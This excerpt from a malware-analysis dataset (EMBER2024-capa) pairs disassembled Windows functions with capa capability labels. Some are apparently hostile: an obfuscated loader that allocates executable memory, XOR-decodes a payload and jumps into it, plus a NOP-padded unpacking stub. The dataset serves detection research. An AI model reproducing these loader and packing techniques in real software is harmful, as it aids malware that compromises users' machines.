joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100b5b67
Capabilities:
Encrypt data using dpapi

Disassembly:
push 0x34
mov eax, 0x100e4fab
call fcn.100c745c
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x14]
mov edx, dword [eax + 0x10]
test edx, edx
je 0x100b5c1c
mov edi, dword [ecx + 0x10]
test edi, edi
je 0x100b5c1c
cmp byte [ebp + 0x10], 0
jne 0x100b5c0f
cmp dword [eax + 0x14], 0x10
jb 0x100b5ba0
mov eax, dword [eax]
cmp dword [ecx + 0x14], 0x10
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], edx
jb 0x100b5bae
mov ecx, dword [ecx]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x34], ecx
push eax
xor ebx, ebx
mov dword [ebp - 0x38], edi
push ebx
push ebx
push ebx
lea eax, [ebp - 0x38]
push eax
push ebx
lea eax, [ebp - 0x40]
push eax
call sub.CRYPT32.dll_CryptUnprotectData
test eax, eax
je 0x100b5c1c
push dword [ebp - 0x30]
lea ecx, [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.100b5c25
push dword [ebp - 0x2c]
mov dword [ebp - 4], ebx
call dword [sym.imp.kernel32.dll_LocalFree]
mov dword [esi + 0x10], ebx
mov eax, esi
cmp dword [esi + 0x14], 0x10
jb 0x100b5bf6
mov eax, dword [esi]
mov byte [eax], bl
mov ecx, esi
lea eax, [ebp - 0x28]
push eax
call fcn.100b5c25
lea ecx, [ebp - 0x28]
call fcn.100090b6
xor eax, eax
jmp 0x100b5c1f
push esi
push ecx
push eax
call fcn.100b5c25
add esp, 0xc
jmp 0x100b5c1f
xor eax, eax
inc eax
call fcn.100c7406
ret

Function at 0x100b5c25
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x100b5c34
pop dword [ebp - 0x10]
mov eax, 0x5abbbb4
add eax, 0xa5fa080
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x43a387b2
add dword [ebp - 0x20], 0xaaebd99
mov dword [ebp - 0x1c], 0x22813272
sub dword [ebp - 0x1c], 0xf04de62d
mov dword [ebp - 0x18], 0xc894352a
sub dword [ebp - 0x18], 0x7c47f0fc
mov dword [ebp - 0x14], 0x814d5a53
sub dword [ebp - 0x14], 0x814d5a53
lea eax, [ebp - 0x20]
push eax
mov eax, 0x50cb7037
add eax, 0xbf432111
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x676f2fd0
sub dword [ebp - 0x20], 0xf2fcc67a
mov dword [ebp - 0x1c], 0x2addc377
add dword [ebp - 0x1c], 0x168e9dfe
mov dword [ebp - 0x18], 0x97103dc6
sub dword [ebp - 0x18], 0x33a0d15a
mov dword [ebp - 0x14], 0x26181457
add dword [ebp - 0x14], 0xd9e7eba9
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x8abfa
push 0
call eax
mov ecx, 0x5e8c
xor edx, edx
add edx, eax
mov ebx, 0x5c06343b
sub ebx, 0x4bee203b
add ebx, dword [ebp - 0x10]
mov edi, 0xf2a7b787
sub edi, 0xaf25f63
add dword [ebp - 4], ebx
mov esi, dword [ebx]
add dword [ebp - 4], 0xdcb2df16
add esi, edi
xor dword [ebp - 4], 0xfb1c68
mov dword [edx], esi
xor dword [ebp - 4], 0x7d74640f
add edx, 0xe834a74f
sub edx, 0xe834a74b
add ebx, 0x8601022e
sub ebx, 0x8601022a
loop 0x100b5d4d
add eax, 0xfec62e72
add eax, 0x13b3e91
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x2c50edf8
add ecx, 0xe3af1208
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x100c687e
Capabilities:
Get file size

Disassembly:
push 0x74
mov eax, 0x100e79db
call fcn.100c745c
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x80]
mov edi, dword [ebp + 0xc]
xor ebx, ebx
push 0x50
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x80]
call fcn.100419f1
push esi
lea eax, [ebp - 0x30]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x80]
call fcn.100b5c25
cmp dword [ebp - 0x1c], 8
lea eax, [ebp - 0x30]
push ebx
cmovae eax, dword [ebp - 0x30]
push 0x80
push 3
push ebx
push 3
push SysReAllocString
push eax
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x100c6909
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.kernel32.dll_GetFileSizeEx]
test eax, eax
je 0x100c6902
mov eax, dword [ebp - 0x18]
mov bl, 1
mov dword [edi], eax
mov eax, dword [ebp - 0x14]
mov dword [edi + 4], eax
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
lea ecx, [ebp - 0x30]
call fcn.100227b7
lea ecx, [ebp - 0x80]
call fcn.10041ada
mov al, bl
call fcn.100c7406
ret

Function at 0x100c6921
Capabilities:
Check if file exists

Disassembly:
push 0x6c
mov eax, 0x100e7a13
call fcn.100c745c
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x78]
push 0x50
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x78]
call fcn.100419f1
and dword [ebp - 4], 0
lea eax, [ebp - 0x28]
push esi
push eax
lea ecx, [ebp - 0x78]
call fcn.100b5c25
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 1
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
lea ecx, [ebp - 0x28]
setne bl
call fcn.100227b7
lea ecx, [ebp - 0x78]
call fcn.10041ada
mov al, bl
call fcn.100c7406
ret
Function at 0x431006
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
call 0x43100c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403e6a
nop
nop
sub eax, 0x403e10
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x403400
Capabilities:
Connect to http server
Create http request
Parse url
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1240
call fcn.00408ef0
mov eax, dword [0x42e050]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x204]
xorps xmm0, xmm0
mov dword [ebp - 0x1230], ecx
lea ecx, [ebp - 0x1204]
movlpd qword [ebp - 0x123c], xmm0
mov dword [ebp - 0x1214], ecx
cmp dword [eax + 0x14], 8
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x1234], 0
movlpd qword [ebp - 0x1228], xmm0
movlpd qword [ebp - 0x1220], xmm0
mov dword [ebp - 0x1218], 0
movlpd qword [ebp - 0x120c], xmm0
mov dword [ebp - 0x1240], 0x3c
mov dword [ebp - 0x122c], pe_nt_image_headers32
mov dword [ebp - 0x1210], 0x800
jb 0x403492
mov eax, dword [eax]
lea edx, [ebp - 0x1240]
push edx
push 0
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
je 0x403562
push edi
push 0
push 0
push 0
push 1
push str.WebBundle_1.0
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
test edi, edi
je 0x403561
push ebx
push 0
push 0
push 3
push 0
push 0
push dword [ebp - 0x1228]
push dword [ebp - 0x1230]
push edi
call dword [sym.imp.WININET.dll_InternetConnectW]
mov ebx, eax
test ebx, ebx
jne 0x403506
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop ebx
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408139
mov esp, ebp
pop ebp
ret 4
push esi
push 0
xor eax, eax
mov ecx, 0x800000
cmp dword [ebp - 0x1234], 4
cmove eax, ecx
push eax
push 0
push 0
push 0
push dword [ebp - 0x1214]
push 0x42a86c
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
test esi, esi
jne 0x403541
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x403559
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
push edi
call esi
pop esi
pop ebx
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408139
mov esp, ebp
pop ebp
ret 4
Function at 0x4042d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
cmp dword [ecx + 0x38], 0
push ebx
push esi
push edi
mov dword [esp + 0xc], ecx
je 0x4043b8
mov esi, dword [ebp + 0x10]
mov ebx, esi
mov edx, dword [ebp + 0xc]
mov edi, edx
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
test esi, esi
jl 0x4043a7
jg 0x404310
test edx, edx
je 0x4043a7
nop dword [eax]
call fcn.00405f60
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x404364
jg 0x404327
test esi, esi
je 0x404364
cmp ebx, eax
jg 0x404337
jl 0x404331
cmp edi, esi
jae 0x404337
mov esi, edi
mov dword [esp + 0x14], ebx
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
push esi
push eax
mov eax, dword [ecx + 0x20]
push dword [eax]
call fcn.004095a0
mov ecx, dword [esp + 0x18]
add esp, 0xc
sub edi, esi
sbb ebx, dword [esp + 0x14]
mov eax, dword [ecx + 0x30]
sub dword [eax], esi
mov eax, dword [ecx + 0x20]
add dword [eax], esi
jmp 0x40438b
mov ecx, dword [esp + 0xc]
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
movzx eax, byte [eax]
push eax
call edx
cmp eax, 0xffffffff
je 0x4043a1
mov ecx, dword [esp + 0xc]
add edi, 0xffffffff
mov esi, 1
adc ebx, 0xffffffff
add dword [esp + 0x10], esi
test ebx, ebx
jg 0x404310
jl 0x4043a1
test edi, edi
jne 0x404310
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
sub edx, edi
mov eax, edx
sbb esi, ebx
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ecx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], eax
test eax, eax
je 0x4043da
mov eax, dword [ecx + 0x30]
mov eax, dword [eax]
jmp 0x4043dc
xor eax, eax
cdq
mov ebx, eax
mov eax, edx
mov dword [esp + 0x14], eax
test edi, edi
jl 0x40445a
jg 0x4043ef
test esi, esi
je 0x40445a
test eax, eax
jl 0x40443e
jg 0x4043f9
test ebx, ebx
je 0x40443e
cmp edi, eax
jg 0x404409
jl 0x404403
cmp esi, ebx
jae 0x404409
mov ebx, esi
mov dword [esp + 0x14], edi
push ebx
push dword [ebp + 8]
push dword [esp + 0x18]
call fcn.004095a0
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
sub esi, ebx
sbb edi, dword [esp + 0x14]
add edx, ebx
mov eax, dword [ecx + 0x30]
sub dword [eax], ebx
mov eax, dword [ecx + 0x20]
add dword [eax], ebx
test edi, edi
jl 0x40445a
jg 0x404441
test esi, esi
je 0x40445a
jmp 0x404441
mov edx, dword [ebp + 8]
mov eax, dword [ecx + 0x4c]
test eax, eax
je 0x40445a
push eax
push esi
push 1
push edx
call fcn.0040cb7e
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x404470
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x4044a2
jl 0x404495
test ecx, ecx
jne 0x4044a2
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x404562
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.00405f80
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x40450e
jg 0x4044cd
test esi, esi
je 0x40450e
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x4044e5
mov eax, dword [esp + 0x10]
jl 0x4044df
cmp eax, esi
jae 0x4044e5
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.004095a0
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x40452f
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x40454b
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x4044b4
jl 0x40454b
test ecx, ecx
jne 0x4044b4
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x4045a1
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x4045a1
mov edi, dword [esp + 0xc]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push edi
call fcn.004095a0
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [esp + 0x18], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
cmp dword [ebx + 0x4c], 0
mov ecx, edi
je 0x404610
mov esi, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [esi], eax
jne 0x4045c7
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [esi], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
mov ecx, edi
cmp edi, 0xfff
jbe 0x4045f9
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.0040d192
sub edi, eax
add esp, 0x10
add esi, eax
mov ecx, edi
cmp eax, 0xfff
jne 0x404624
cmp edi, eax
ja 0x4045d5
test ecx, ecx
je 0x404610
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.0040d192
mov ecx, edi
add esp, 0x10
sub ecx, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, ecx
sbb edx, 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4049a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x42e050]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x4049d0
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408139
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x404a0c
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x404a0c
lea ecx, [edi - 1]
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408139
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x404af6
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x404a34
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x404a67
push dword [esi + 0x4c]
movsx eax, bl
push eax
call fcn.0040c13c
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408139
mov esp, ebp
pop ebp
ret 4
mov byte [ebp - 0x25], bl
mov eax, dword [ecx]
mov edx, dword [eax + 0x1c]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call edx
sub eax, 0
je 0x404ac9
sub eax, 1
je 0x404ac9
sub eax, 2
jne 0x404af6
push dword [esi + 0x4c]
movsx eax, byte [ebp - 0x25]
push eax
call fcn.0040c13c
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408139
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x404ae6
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.0040cb7e
add esp, 0x10
cmp edi, eax
jne 0x404af6
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
jne 0x4049f7
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408139
mov esp, ebp
pop ebp
ret 4
Function at 0x405c90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x42e050]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x405d4c
cmp byte [esi + 0x3d], 0
je 0x405d4c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x405d3a
mov ecx, dword [esi + 0x38]
mov eax, dword [ecx]
mov edx, dword [eax + 0x20]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call edx
sub eax, 0
je 0x405d02
sub eax, 1
je 0x405d06
sub eax, 2
jne 0x405d3a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408139
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x405d23
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.0040cb7e
add esp, 0x10
cmp edi, eax
jne 0x405d3a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408139
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408139
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.00408139
mov esp, ebp
pop ebp
ret

Function at 0x407170
Capabilities:
Create process on windows
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
mov eax, dword [0x42e050]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x210], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x218]
mov dword [ebp - 0x21c], 0
push eax
mov dword [ebp - 0x218], 0
mov word [ebp - 0x214], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x407202
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x21c]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [ebp - 0x21c]
neg eax
sbb eax, eax
and dword [ebp - 0x210], eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [ebp - 0x210], 0
jne 0x4072ae
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
mov dword [ebp - 0x220], 0
lea eax, [ebp - 0x20c]
movlpd qword [ebp - 0x254], xmm0
mov dword [ebp - 0x248], eax
lea eax, [ebp - 0x258]
push eax
movlpd qword [ebp - 0x244], xmm0
movlpd qword [ebp - 0x238], xmm0
movlpd qword [ebp - 0x230], xmm0
movlpd qword [ebp - 0x228], xmm0
mov dword [ebp - 0x258], 0x3c
mov dword [ebp - 0x24c], 0x42a9f0
mov dword [ebp - 0x23c], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x4072b9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408139
mov esp, ebp
pop ebp
ret 0x10
lea ecx, [ebp - 0x259]
call fcn.00402ba0
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.00408139
mov esp, ebp
pop ebp
ret 0x10

Function at 0x412de0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00412c56
Function at 0x100011b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
call fcn.10001160
push eax
mov eax, 0x4b85
pop eax
cmp dword [ebp + 0xc], 1
jne 0x100011f4
call fcn.10001110
mov dword [ebp + 0xc], 0x29a
push eax
mov eax, 0x1e94
pop eax
lea eax, [ebp + 0xc]
push eax
push 0
push 0
push 0x10001790
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
call fcn.10002c60
call fcn.10002db0
mov eax, 1
pop ebp
ret 0xc
Function at 0x10002d50
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x3e8
mov dword [ebp - 4], 0x29a
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.10001560
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x100010c0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov esi, eax
call fcn.10001160
test esi, esi
je 0x10002da3
push eax
mov eax, 0x98fa
pop eax
push 0xffffffffffffffff
push esi
call dword [0x1000549c]
call fcn.10001000
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10003070
Capabilities:
Write file on windows

Disassembly:
push ecx
mov edx, dword [esp + 0xc]
lea eax, [esp]
push 0
push eax
lea ecx, [esp + 0x10]
push 1
push ecx
push edx
mov dword [esp + 0x14], 0x4e12
call dword [sym.imp.KERNEL32.DLL_WriteFile]
call fcn.100016b0
pop ecx
ret
Function at 0x413dad
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x413dce
jl 0x413dc5
test edi, edi
jne 0x413dce
xor eax, eax
xor edx, edx
jmp 0x413e8f
cmp dword [ebx + 0x38], 0
je 0x413de3
push eax
push edi
push dword [ebp + 8]
call fcn.00413e95
jmp 0x413e8f
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x413e2a
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x413e2a
cmp eax, edi
jb 0x413e04
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00415ab0
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x413e30
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x413e84
mov ecx, ebx
call fcn.00413606
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x413e6f
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0041c945
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x413e84
jmp 0x413e42
test edx, edx
je 0x413e84
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0041c945
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x41582b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41586a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41586a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41586a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41586a
cmp dword [ecx + 0x74], 0xe
jbe 0x41586a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x422792
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x438998
push 0x438990
push str.FlsAlloc
push 0x1e
call fcn.004225ff
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4227c6
push dword [ebp + 8]
mov ecx, esi
call dword [0x434148]
call esi
jmp 0x4227cc
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x422810
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4389a8
push 0x4389a0
push str.FlsGetValue
push 0x20
call fcn.004225ff
mov esi, eax
add esp, 0x10
test esi, esi
je 0x422847
push dword [ebp + 8]
mov ecx, esi
call dword [0x434148]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]